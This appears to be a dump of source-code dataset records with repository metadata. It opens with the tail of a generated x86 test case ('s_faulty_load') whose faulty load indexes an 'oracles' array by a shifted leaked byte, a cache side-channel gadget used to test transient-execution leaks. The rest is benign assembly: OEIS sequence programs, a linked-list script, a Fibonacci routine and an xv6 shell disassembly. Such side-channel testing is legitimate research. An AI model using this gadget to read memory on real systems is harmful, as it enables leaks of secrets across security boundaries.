nop nop and $41812, %rdi mov $0x6162636465666768, %r14 movq %r14, %xmm1 vmovups %ymm1, (%r9) nop nop dec %rcx lea addresses_normal_ht+0x14fc3, %r8 nop nop nop nop nop inc %r9 mov $0x6162636465666768, %rsi movq %rsi, %xmm6 movups %xmm6, (%r8) xor %r9, %r9 lea addresses_WT_ht+0x370f, %rsi lea addresses_normal_ht+0x14003, %rdi nop nop nop nop cmp $13232, %r15 mov $78, %rcx rep movsw nop nop nop nop cmp %r8, %r8 lea addresses_WT_ht+0x900b, %r9 nop xor %rcx, %rcx mov (%r9), %r15 nop nop nop and %r14, %r14 pop %rsi pop %rdi pop %rcx pop %rbp pop %r9 pop %r8 pop %r15 pop %r14 ret .global s_faulty_load s_faulty_load: push %r11 push %r15 push %r9 push %rbx push %rcx push %rdi push %rdx // Store lea addresses_A+0xa979, %rdx nop lfence movl $0x51525354, (%rdx) nop nop nop xor $49088, %r9 // Store mov $0x19c3700000000703, %rbx nop nop add $14874, %rcx movb $0x51, (%rbx) nop inc %rcx // Load lea addresses_WC+0x10d03, %rdi nop nop nop inc %r11 mov (%rdi), %rdx nop nop nop nop nop and %rbx, %rbx // Store lea addresses_RW+0xd743, %rbx xor $38166, %rcx movl $0x51525354, (%rbx) dec %rdx // Faulty Load lea addresses_WC+0x10d03, %rdi cmp $27916, %r15 movups (%rdi), %xmm5 vpextrq $1, %xmm5, %r11 lea oracles, %rcx and $0xff, %r11 shlq $12, %r11 mov (%rcx,%r11,1), %r11 pop %rdx pop %rdi pop %rcx pop %rbx pop %r9 pop %r15 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_WC', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_A', 'AVXalign': False, 'size': 4}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_NC', 'AVXalign': False, 'size': 1}} {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_WC', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_RW', 'AVXalign': False, 'size': 4}} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_WC', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 0, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_WT_ht'}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 16}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 2}} {'src': {'same': False, 'congruent': 4, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 5, 'type': 'addresses_A_ht'}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 16}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 2}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2}} {'src': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_A_ht', 'AVXalign': True, 'size': 8}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 3, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 11, 'type': 'addresses_D_ht'}} {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 6, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_D_ht'}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 32}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 16}} {'src': {'same': True, 'congruent': 1, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_normal_ht'}} {'src': {'NT': True, 'same': False, 'congruent': 3, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} {'46': 99, '49': 1, '45': 21729} 46 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 */
32.166052
2,999
0.653551
5900242eaabe6331a7abd1fbe395940f9a5633a1
840
asm
Assembly
programs/oeis/108/A108738.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/108/A108738.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/108/A108738.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A108738: a(n) = n/(smallest odd prime divisor of n), if any. ; 1,2,1,4,1,2,1,8,3,2,1,4,1,2,5,16,1,6,1,4,7,2,1,8,5,2,9,4,1,10,1,32,11,2,7,12,1,2,13,8,1,14,1,4,15,2,1,16,7,10,17,4,1,18,11,8,19,2,1,20,1,2,21,64,13,22,1,4,23,14,1,24,1,2,25,4,11,26,1,16,27,2,1,28,17,2,29,8,1,30,13,4,31,2,19,32,1,14,33,20,1,34,1,8,35,2,1,36,1,22,37,16,1,38,23,4,39,2,17,40,11,2,41,4,25,42,1,128,43,26,1,44,19,2,45,8,1,46,1,28,47,2,13,48,29,2,49,4,1,50,1,8,51,22,31,52,1,2,53,32,23,54,1,4,55,2,1,56,13,34,57,4,1,58,35,16,59,2,1,60,1,26,61,8,37,62,17,4,63,38,1,64,1,2,65,28,1,66,1,40,67,2,29,68,41,2,69,16,19,70,1,4,71,2,43,72,31,2,73,44,17,74,1,32,75,2,1,76,1,46,77,8,1,78,47,4,79,34,1,80,1,22,81,4,49,82,19,8,83,50 mov $2,$0 cal $0,78701 ; Least odd prime factor of n, or 1 if no such factor exists. div $2,$0 add $3,$2 add $3,$2 add $1,$3 div $1,2 add $1,1
70
632
0.608333
7ab5f48c2b6d0f5b6b119d0d4b60a645b8592049
692
asm
Assembly
oeis/041/A041154.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/041/A041154.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/041/A041154.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A041154: Numerators of continued fraction convergents to sqrt(87). ; Submitted by Jon Maiga ; 9,28,513,1567,28719,87724,1607751,4910977,90005337,274926988,5038691121,15391000351,282076697439,861621092668,15791256365463,48235390189057,884028279768489,2700320229494524,49489792410669921,151169697461504287,2770544346717747087,8462802737614745548,155100993623783166951,473765783608964246401,8682885098585139602169,26522421079364383052908,486086464527144034554513,1484781814660796486716447,27212159128421480795450559,83121259199925238873068124,1523394824727075780510676791 add $0,1 mov $3,1 lpb $0 sub $0,1 add $2,$3 mov $3,$1 mov $1,$2 dif $2,6 mul $2,9 add $3,$2 lpe mov $0,$3
40.705882
476
0.830925
4dcae0e25a8bc0fb3c57a9b1c4cc41e586a3eabb
529
asm
Assembly
oeis/033/A033685.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/033/A033685.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/033/A033685.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A033685: Theta series of hexagonal lattice A_2 with respect to deep hole. ; Submitted by Jamie Morken(m4) ; 0,3,0,0,3,0,0,6,0,0,0,0,0,6,0,0,3,0,0,6,0,0,0,0,0,3,0,0,6,0,0,6,0,0,0,0,0,6,0,0,0,0,0,6,0,0,0,0,0,9,0,0,6,0,0,0,0,0,0,0,0,6,0,0,3,0,0,6,0,0,0,0,0,6,0,0,6,0,0,6,0,0,0,0,0,0,0,0,0,0,0,12,0,0,0,0,0,6,0,0 seq $0,282213 ; Coefficients in q-expansion of (E_2^3*E_4 - 3*E_2^2*E_6 + 3*E_2*E_4^2 - E_4*E_6)/3456, where E_2, E_4, E_6 are the Eisenstein series shown in A006352, A004009, A013973, respectively. mod $0,9 mul $0,3
66.125
202
0.642722
1fb265c13a5e1378330aa548b0bc9e794f68d4ff
1,720
asm
Assembly
programs/oeis/034/A034730.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/034/A034730.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/034/A034730.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A034730: Dirichlet convolution of b_n=1 with c_n=3^(n-1). ; 1,4,10,31,82,256,730,2218,6571,19768,59050,177430,531442,1595056,4783060,14351125,43046722,129146980,387420490,1162281262,3486785140,10460412256,31381059610,94143358444,282429536563,847289140888,2541865834900,7625599080070,22876792454962,68630382167872,205891132094650,617673410635072,1853020188910900,5559060609602248,16677181699667380,50031545228323861,150094635296999122,450283906278417856,1350851717673523540,4052555154181259716,12157665459056928802,36472996380659166112,109418989131512359210,328256967404997489910,984770902183616022502,2954312706582214758256,8862938119652501095930,26588814359051660995138,79766443076872509864091,239299329230899959146332,717897987691852631816980,2153693963076405055451662,6461081889226673298932242,19383245667682561891772032,58149737003040059690449300,174449211009127804670252764,523347633027360537600932020,1570042899082104488432989528,4710128697246244834921603690,14130386091738803136309417580,42391158275216203514294433202,127173474825648816434015394256,381520424476945831632136690510,1144561273430838112559360331499,3433683820292512484657849620804,10301051460877539307004196532192,30903154382632612361920641803530,92709463147897842644822535012862,278128389443693511257317157291380,834385168331080550449039029976672,2503155504993241601315571986085850,7509466514979724853978355329762422,22528399544939174411840147874772642,67585198634817523385615078921317048,202755595904452569706561613307273310,608266787713357709569967898897279190 add $0,1 mov $2,$0 lpb $0 mov $3,$2 mov $4,$0 cmp $4,0 add $0,$4 dif $3,$0 sub $0,1 cmp $3,$2 cmp $3,0 add $1,$3 mul $1,3 lpe div $1,9 mul $1,3 add $1,1 mov $0,$1
78.181818
1,475
0.888372
5db7d96491ea41e7a458292fd7f9599153e6ae8e
646
asm
Assembly
oeis/001/A001561.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/001/A001561.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/001/A001561.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A001561: a(n) = (7*n+3)*(7*n+5)*(7*n+6). ; Submitted by Jamie Morken(s3) ; 90,1560,6460,16848,34782,62320,101520,154440,223138,309672,416100,544480,696870,875328,1081912,1318680,1587690,1891000,2230668,2608752,3027310,3488400,3994080,4546408,5147442,5799240,6503860,7263360,8079798,8955232,9891720,10891320,11956090,13088088,14289372,15562000,16908030,18329520,19828528,21407112,23067330,24811240,26640900,28558368,30565702,32664960,34858200,37147480,39534858,42022392,44612140,47306160,50106510,53015248,56034432,59166120,62412370,65775240,69256788,72859072,76584150 add $0,1 mov $1,$0 bin $1,2 mul $1,7 add $1,1 mul $0,$1 mul $0,98 sub $0,8
49.692308
494
0.797214
91bbe3f67da5e1838b7f2d9366ed82bffcd43b5b
360
asm
Assembly
ADL/Assemble/Insert/1/RHR_insert_head.asm
MaxMorning/LinkedListVisualization
b2a4f8f11ff6f6dfb495566a006e3472f1dac369
[ "Apache-2.0" ]
3
2021-11-06T03:47:08.000Z
2021-11-06T03:47:11.000Z
ADL/Assemble/Insert/1/RHR_insert_head.asm
MaxMorning/LinkedListVisualization
b2a4f8f11ff6f6dfb495566a006e3472f1dac369
[ "Apache-2.0" ]
null
null
null
ADL/Assemble/Insert/1/RHR_insert_head.asm
MaxMorning/LinkedListVisualization
b2a4f8f11ff6f6dfb495566a006e3472f1dac369
[ "Apache-2.0" ]
1
2021-11-06T03:47:14.000Z
2021-11-06T03:47:14.000Z
aLine 0 nNew newNodePtr, {0:D} gNewVPtr temp gMoveNext temp, Root aLine 1 gBne temp, null, 7 aLine 2 gMove Rear, newNodePtr aLine 3 nMoveRel newNodePtr, Root, 95, 164.545 pSetNext newNodePtr, Root Jmp 4 aLine 6 nMoveRelOut newNodePtr, Root, 190 pSetNext newNodePtr, temp aLine 8 pSetNext Root, newNodePtr aLine 9 aStd gDelete newNodePtr gDelete temp Halt
12.857143
38
0.786111
71c2cf664a1247fd3de6497f205689e953aa5611
514
asm
Assembly
programs/oeis/090/A090658.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/090/A090658.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/090/A090658.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A090658: Numbers n such that n-1 is a prime of the form 4k+3. ; 4,8,12,20,24,32,44,48,60,68,72,80,84,104,108,128,132,140,152,164,168,180,192,200,212,224,228,240,252,264,272,284,308,312,332,348,360,368,380,384,420,432,440,444,464,468,480,488,492,500,504,524,548,564,572,588,600,608,620,632,644,648,660,684,692,720,728,740,744,752,788,812,824,828,840,860,864,884,888,908,912,920,948,968,972,984,992,1020,1032,1040,1052,1064,1088,1092,1104,1124,1152,1164,1172,1188 seq $0,2145 ; Primes of the form 4*k+3. add $0,1
85.666667
399
0.727626
71e5c3f5d9b17309253b5f24eb61763d26789fa7
1,403
asm
Assembly
fibonacci.asm
antoniojema/aoc_2021_assemblymaybe
ea5facca9f4cabc13392038cf2fd05a8f1345646
[ "MIT" ]
null
null
null
fibonacci.asm
antoniojema/aoc_2021_assemblymaybe
ea5facca9f4cabc13392038cf2fd05a8f1345646
[ "MIT" ]
null
null
null
fibonacci.asm
antoniojema/aoc_2021_assemblymaybe
ea5facca9f4cabc13392038cf2fd05a8f1345646
[ "MIT" ]
null
null
null
global print_fibonacci extern printd, printlb section .data fmt db '%d', 0xA, 0xD, 0x0 ;; Takes: unsigned int32 indicating the number of elements to print print_fibonacci: push ebp mov ebp, esp sub esp, 16 ;; i = [ebp-4 ] ;; i0 = [ebp-8 ] ;; i1 = [ebp-12] ;; Si dejamos i1 y fmt en el stack top ;; fmt = [ebp-16] ;; printf es automatico ;; Values for the for loop mov dword [ebp-4 ], 0 mov dword [ebp-8 ], 0 mov dword [ebp-12], 1 mov dword [ebp-16], fmt ;; printf first value push dword [ebp-12] call printd add esp, 4 call printlb fibonacci_loop_begin: mov eax, [ebp+8] cmp dword [ebp-4], eax jge fibonacci_loop_exit ;; Fibonacci sum mov eax , [ebp-12] mov ebx , [ebp-8] add ebx , eax mov [ebp-8] , eax mov [ebp-12], ebx ;; printf push dword [ebp-12] call printd add esp, 4 call printlb add dword [ebp-4 ], 1 jmp fibonacci_loop_begin fibonacci_loop_exit: ;; Return add esp, 16 pop ebp ret
24.614035
67
0.441197
e015b38c9cb406d8ed5e81df7a39f69df9503156
1,782
asm
Assembly
programs/oeis/010/A010009.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/010/A010009.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/010/A010009.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A010009: a(0) = 1, a(n) = 19*n^2 + 2 for n>0. ; 1,21,78,173,306,477,686,933,1218,1541,1902,2301,2738,3213,3726,4277,4866,5493,6158,6861,7602,8381,9198,10053,10946,11877,12846,13853,14898,15981,17102,18261,19458,20693,21966,23277,24626,26013,27438,28901,30402,31941,33518,35133,36786,38477,40206,41973,43778,45621,47502,49421,51378,53373,55406,57477,59586,61733,63918,66141,68402,70701,73038,75413,77826,80277,82766,85293,87858,90461,93102,95781,98498,101253,104046,106877,109746,112653,115598,118581,121602,124661,127758,130893,134066,137277,140526,143813,147138,150501,153902,157341,160818,164333,167886,171477,175106,178773,182478,186221,190002,193821,197678,201573,205506,209477,213486,217533,221618,225741,229902,234101,238338,242613,246926,251277,255666,260093,264558,269061,273602,278181,282798,287453,292146,296877,301646,306453,311298,316181,321102,326061,331058,336093,341166,346277,351426,356613,361838,367101,372402,377741,383118,388533,393986,399477,405006,410573,416178,421821,427502,433221,438978,444773,450606,456477,462386,468333,474318,480341,486402,492501,498638,504813,511026,517277,523566,529893,536258,542661,549102,555581,562098,568653,575246,581877,588546,595253,601998,608781,615602,622461,629358,636293,643266,650277,657326,664413,671538,678701,685902,693141,700418,707733,715086,722477,729906,737373,744878,752421,760002,767621,775278,782973,790706,798477,806286,814133,822018,829941,837902,845901,853938,862013,870126,878277,886466,894693,902958,911261,919602,927981,936398,944853,953346,961877,970446,979053,987698,996381,1005102,1013861,1022658,1031493,1040366,1049277,1058226,1067213,1076238,1085301,1094402,1103541,1112718,1121933,1131186,1140477,1149806,1159173,1168578,1178021 pow $1,$0 gcd $1,2 mov $3,$0 mul $3,$0 mov $2,$3 mul $2,19 add $1,$2
162
1,663
0.824916
c80ebfac70d7e266129fe630fcdd8be0b86fe136
397
asm
Assembly
samples/vasm_oldstyle/common/24bit_add.asm
MaverickAlex/x6502
fdf25fd5ae6d2710ddce7c7a9bcbb63246f35460
[ "BSD-4-Clause" ]
null
null
null
samples/vasm_oldstyle/common/24bit_add.asm
MaverickAlex/x6502
fdf25fd5ae6d2710ddce7c7a9bcbb63246f35460
[ "BSD-4-Clause" ]
4
2021-12-23T00:53:24.000Z
2021-12-28T19:37:29.000Z
samples/vasm_oldstyle/common/24bit_add.asm
MaverickAlex/x6502
fdf25fd5ae6d2710ddce7c7a9bcbb63246f35460
[ "BSD-4-Clause" ]
null
null
null
addX .equ $0210 ; 3 bytes addY .equ $0213 ; 3 bytes addResult .equ $0216 ; 3 bytes add24_init: lda #0 sta addX sta addX + 1 sta addX + 2 sta addY sta addY + 1 sta addY + 2 sta addResult sta addResult + 1 sta addResult + 2 rts add24: ldx #0 add24_loop: lda addX,x adc addY,x sta addResult,x inx bcs add24_loop cpx #3 bne add24_loop rts
13.689655
33
0.607053
c8f7bcfb5eabe70d5585675fa727484c2f50b167
1,077
asm
Assembly
programs/oeis/047/A047461.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/047/A047461.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/047/A047461.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A047461: Numbers that are congruent to {1, 4} mod 8. ; 1,4,9,12,17,20,25,28,33,36,41,44,49,52,57,60,65,68,73,76,81,84,89,92,97,100,105,108,113,116,121,124,129,132,137,140,145,148,153,156,161,164,169,172,177,180,185,188,193,196,201,204,209,212,217,220,225,228,233,236,241,244,249,252,257,260,265,268,273,276,281,284,289,292,297,300,305,308,313,316,321,324,329,332,337,340,345,348,353,356,361,364,369,372,377,380,385,388,393,396,401,404,409,412,417,420,425,428,433,436,441,444,449,452,457,460,465,468,473,476,481,484,489,492,497,500,505,508,513,516,521,524,529,532,537,540,545,548,553,556,561,564,569,572,577,580,585,588,593,596,601,604,609,612,617,620,625,628,633,636,641,644,649,652,657,660,665,668,673,676,681,684,689,692,697,700,705,708,713,716,721,724,729,732,737,740,745,748,753,756,761,764,769,772,777,780,785,788,793,796,801,804,809,812,817,820,825,828,833,836,841,844,849,852,857,860,865,868,873,876,881,884,889,892,897,900,905,908,913,916,921,924,929,932,937,940,945,948,953,956,961,964,969,972,977,980,985,988,993,996 mov $1,$0 mod $0,2 mul $1,4 add $1,1 sub $1,$0
119.666667
973
0.728877
ec4fa9dc5700b8d9b939136f3005a8e383e0edae
106,420
asm
Assembly
sh.asm
thr0m3l/easy-xv6
d7b16933100635cfd786640ab4d757e555ebdbd0
[ "MIT-0" ]
null
null
null
sh.asm
thr0m3l/easy-xv6
d7b16933100635cfd786640ab4d757e555ebdbd0
[ "MIT-0" ]
null
null
null
sh.asm
thr0m3l/easy-xv6
d7b16933100635cfd786640ab4d757e555ebdbd0
[ "MIT-0" ]
null
null
null
_sh: file format elf32-i386 Disassembly of section .text: 00000000 <main>: if (buf[0] == 0) // EOF return -1; return 0; } int main(void) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc push -0x4(%ecx) a: 55 push %ebp b: 89 e5 mov %esp,%ebp d: 51 push %ecx e: 83 ec 04 sub $0x4,%esp static char buf[100]; int fd; // Ensure that three file descriptors are open. while ((fd = open("console", O_RDWR)) >= 0) { 11: eb 0e jmp 21 <main+0x21> 13: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 17: 90 nop if (fd >= 3) { 18: 83 f8 02 cmp $0x2,%eax 1b: 0f 8f 91 00 00 00 jg b2 <main+0xb2> while ((fd = open("console", O_RDWR)) >= 0) { 21: 83 ec 08 sub $0x8,%esp 24: 6a 02 push $0x2 26: 68 af 13 00 00 push $0x13af 2b: e8 53 0e 00 00 call e83 <open> 30: 83 c4 10 add $0x10,%esp 33: 85 c0 test %eax,%eax 35: 79 e1 jns 18 <main+0x18> 37: eb 2e jmp 67 <main+0x67> 39: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi } } // Read and run input commands. while (getcmd(buf, sizeof(buf)) >= 0) { if (buf[0] == 'c' && buf[1] == 'd' && buf[2] == ' ') { 40: 80 3d 62 1a 00 00 20 cmpb $0x20,0x1a62 47: 0f 84 88 00 00 00 je d5 <main+0xd5> 4d: 8d 76 00 lea 0x0(%esi),%esi } int fork1(void) { int pid; pid = fork(); 50: e8 e6 0d 00 00 call e3b <fork> if (pid == -1) 55: 83 f8 ff cmp $0xffffffff,%eax 58: 0f 84 c1 00 00 00 je 11f <main+0x11f> if (fork1() == 0) 5e: 85 c0 test %eax,%eax 60: 74 5e je c0 <main+0xc0> wait(); 62: e8 e4 0d 00 00 call e4b <wait> printf(2, ANSI_COLOR_GREEN "[romel@xv6 ~]$ " ANSI_COLOR_RESET); 67: 83 ec 08 sub $0x8,%esp 6a: 68 f8 12 00 00 push $0x12f8 6f: 6a 02 push $0x2 71: e8 5a 0f 00 00 call fd0 <printf> memset(buf, 0, nbuf); 76: 83 c4 0c add $0xc,%esp 79: 6a 64 push $0x64 7b: 6a 00 push $0x0 7d: 68 60 1a 00 00 push $0x1a60 82: e8 09 0c 00 00 call c90 <memset> gets(buf, nbuf); 87: 58 pop %eax 88: 5a pop %edx 89: 6a 64 push $0x64 8b: 68 60 1a 00 00 push $0x1a60 90: e8 5b 0c 00 00 call cf0 <gets> if (buf[0] == 0) // EOF 95: 0f b6 05 60 1a 00 00 movzbl 0x1a60,%eax 9c: 83 c4 10 add $0x10,%esp 9f: 84 c0 test %al,%al a1: 74 77 je 11a <main+0x11a> if (buf[0] == 'c' && buf[1] == 'd' && buf[2] == ' ') { a3: 3c 63 cmp $0x63,%al a5: 75 a9 jne 50 <main+0x50> a7: 80 3d 61 1a 00 00 64 cmpb $0x64,0x1a61 ae: 75 a0 jne 50 <main+0x50> b0: eb 8e jmp 40 <main+0x40> close(fd); b2: 83 ec 0c sub $0xc,%esp b5: 50 push %eax b6: e8 b0 0d 00 00 call e6b <close> break; bb: 83 c4 10 add $0x10,%esp be: eb a7 jmp 67 <main+0x67> runcmd(parsecmd(buf)); c0: 83 ec 0c sub $0xc,%esp c3: 68 60 1a 00 00 push $0x1a60 c8: e8 93 0a 00 00 call b60 <parsecmd> cd: 89 04 24 mov %eax,(%esp) 